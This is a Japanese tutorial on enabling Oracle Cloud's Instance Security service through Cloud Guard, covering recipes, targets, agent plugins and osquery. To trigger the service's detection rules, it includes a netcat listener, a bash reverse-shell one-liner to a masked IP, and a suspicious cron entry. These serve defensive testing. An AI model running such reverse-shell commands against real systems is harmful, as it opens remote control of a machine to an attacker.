OCIのコンピュート・インスタンスの脆弱性監視には、Vulnerability Scanning(脆弱性スキャン)という無償のサービスがあります。もう一つの拡張サービスとして、Instance Securityという新しいサービスはご存じでしょうか?まずは、こちらのスライドをご覧ください。
Instance Securityは、従来の脆弱性スキャンの機能にプラスして、OS内のプロセスなどの挙動を監視するCSPM(Cloud Security Posture Management)の機能を持っているサービスです。Cloud Guardから提供されるOracle Managedの検出ルールに従って定期的にOS内を監視し、検出された問題はCloud Guardと連携されます。
どういった内容を検出するかというと、2025年4月時点でのルールは下記が提供されています。上位二つのクリティカル・リスクと定義されているパッケージの脆弱性とオープン・ポートは従来の脆弱性スキャン・サービスと同じですが、それ以外のルールが新たにInstance Securityが検出するルールになっています。
また、Instance Securityを有効化すると、SQLのようなクエリでOS状態の情報を取り出せるosqeuryの機能も使用できるようになります。
Instance Securityは、基本的には有償サービスですが、1リージョンあたり5インスタンスまで、パッケージの脆弱性とオープンポートのルールのみ検出という無償の利用枠が提供されています。
今回は、このInstance Seucirtyサービスの設定および動作手順について紹介します。
IAMポリシーの設定
必要となるポリシーは、こちらを参考に
Cloud Guard側の設定
Cloud Guardを有効化されていない場合、この記事を参照して有効化する。
クラウド・ガード -> Recipes -> ディテクタ・レシピ -> OCI Instance Security Detector Recipe - Enterprise (Oracle管理)をクリックし、クリティカルに以下の二つのルールがある、ドキュメントのOCIインスタンス・セキュリティ・ディテクタ・ルールと内容が同じかどうかを確認する。
- Scanned host has vulnerabilities
- Processes listening on open ports
※注) Instance Securityは、有償利用のテナンシーのみに提供されており、それ以外のテナンシーにはこのレシピがない、もしくはルールの内容が異なっている等の場合があります。必ずレシピの内容を確認し、有償利用にも関わらず表示されているルールが違う場合は、SRにて制限解除の依頼をして下さい。
クラウド・ガード -> Configuration -> ターゲット -> Create Tagetをクリック。
ターゲット名は任意の値、コンパートメントはrootもしくは指定したいコンパートメントに
一番上はとりあえずOCI Configuration Detector Recipe (Oracle管理)
を選択し、IsntacesはAll Compute instancesをチェック、Instance Security RecipeはOCI Instance Security Detector Recipe - Enterprise (Oracle管理)選択し、次に進んで作成。
作成したターゲットをクリックし、以下のようにワークロード保護に指定したレシピが追加されていればOK
コンピュート・インスタンス側の設定
コンピュート・インスタンスのOracle Cloudエージェント・プラグインからCloud Guard Workload Protectionを有効化する。コンピュート・インスタンスの詳細 -> 管理 -> Oracle Cloud エージェント
Instance Securityは、上記の通りCloud Agentのプラグインもしくは、WLPエージェントを手動インストールすることが可能です。ただ、サポートするプラットフォームは原則的にComputeのイメージから作成可能なプラットフォームになり、それ以外は自己責任です。ですので、RHELはインストールして使用することはできるかもしれませんが、現在は公式にはサポートされていません。
必要となる設定はこれで完了です。ポリシーの設定が正しくできていれば、脆弱性パッケージとオープンポートのチェックはDailyで実施されるので翌日にはCloud Guardの問題のページに表示されていると思います。
次は実際にOS内のアクティビティに対してInstance Securityが検出する例を試してみます。
Instace Securityのルールに該当するアクションを実行
プラグインを有効化したLinuxのコンピュート・インスタンスで、以下の二つの操作を実行しておく
- ルール: Possible reverse shell on system processesを検出させる
$ nc -vnlp 4444 --外からの接続を待ち受け
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
異なるインスタンスからリモート接続する
$ bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1
- ルール: Suspicious cron job running from home profile を検出させる
$ crontab -e --cronに以下を追記
*/30 * * * * data > /home/opc/data.log
Cloud Guardで検出したルールを確認
上記の二つのルールは4時間ごとにチェックされるので、時間が経過した頃合いをみてCloud Guardのコンソールをチェックする。クラウド・ガード -> Alerts -> 問題 -> ディテクタ・タイプをInstance Securityでフィルタする
Possible reverse shell on system processesルールの検出結果の詳細
また、24時間経過すればProcesses listening on open portsルールも検出される。
Instance Securityの検出ルールは、Windows向けのものが比較的多く用意されていますので、Windowsのコンピュート・インスタンスでも是非試してみて下さい。
また、検出ルールはOracle Managedなのでユーザーによる作成やカスタマイズというのはできませんが、こういうルールが必要という要望はwelcomeですので、SRでのエンハンス・リクエストなどを活用頂ければと思います。
次は、WLPエージェントがosqueryを実行してCloud GuardにOS情報を表示する方法を試してみます。
osqueryを実行する
クラウド・ガード -> Queriesをクリックし、ScopeをTargetsでAll targetsを選択、下記のSQL Queryをコピーして実行
SELECT pid, uid, name, ROUND(((user_time + system_time) / (cpu_time.tsb - cpu_time.itsb)) * 100, 2) AS percentage FROM processes, (SELECT (SUM(user) + SUM(nice) + SUM(system) + SUM(idle) * 1.0) AS tsb,SUM(COALESCE(idle, 0)) + SUM(COALESCE(iowait, 0)) AS itsb FROM cpu_time) AS cpu_time ORDER BY user_time+system_time DESC LIMIT 5;
クエリー完了後、以下のようにTop5のプロセスが表示される。osqueryの具体的な使用方法はこちら。また、Past queriesから結果をcsvファイルとしダウンロードやScheduled queiresから定期的な実行ができる。
以上で、ひと通りのInstance Securityの機能紹介は終了です。脆弱性スキャンの設定や動作は、少し古いですがここから確認できます。
脆弱性スキャンは、シンプルで見やすくまとめられた無償のインスタンス監視サービス、Instance Securityは、昨今求められているCSPMの流れを汲んだサービスとして提供され、脆弱性スキャンの後継サービスとして機能拡張がされていく期待のサービスとも言えます。どちらか一方を強く推奨しているわけではないので、セキュリティ要件やコストに応じて、上手に使い分けて頂ければと思います。